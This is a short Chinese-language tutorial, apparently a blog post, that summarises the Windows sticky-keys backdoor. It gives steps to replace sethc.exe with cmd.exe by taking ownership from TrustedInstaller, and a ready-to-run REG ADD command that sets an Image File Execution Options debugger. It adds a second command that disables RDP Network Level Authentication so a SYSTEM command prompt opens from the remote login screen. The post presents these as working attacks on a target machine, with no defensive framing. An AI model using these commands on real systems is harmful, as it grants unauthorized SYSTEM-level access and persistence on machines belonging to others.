粘滞键利用总结

粘滞键

Windows系统下，启用粘滞键的键盘快捷方式是按5次Shift键

方法一

将sethc.exe（粘滞键程序）替换成cmd.exe，这样在目标机登录页面连续按5下shift可调出cmd命令行

sethc路径：c:\windows\system32

这里有一个权限的问题需要注意，在Windows Vista版本之后的系统，当修改sethc.exe程序名字或将该程序剪切走时，会需要TrustedInstaller权限

TrustedInstaller权限，要高于Administrator，比System权限低

需要做出如下修改

右键-属性-安全-高级，随后，选择“所有者”选项卡，点击“编辑”

更改所有者

之后，再右键-属性-安全，编辑

重新给权限

此时，可以对sethc.exe做出修改，修改名字，或者更改路径，将cmd.exe修改为sethc.exe

此时，我们再按5次shift，OK

方法二

修改注册表

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

该方法是在Win7下测试通过的，OK

服务器下测试

测试系统版本：Server 2016

先在Server 2016上执行以下命令

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication

默认值为1

此时，我们在进行连接时，会出现以下错误

将注册表修改为0

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

再按上面的两种方式之一进行修改，在RDP登录界面，按5次shift，可以了

加油

: )

参考：

https://blog.csdn.net/fageweiketang/article/details/88317656

https://hackergu.com/power-sethc-cmd/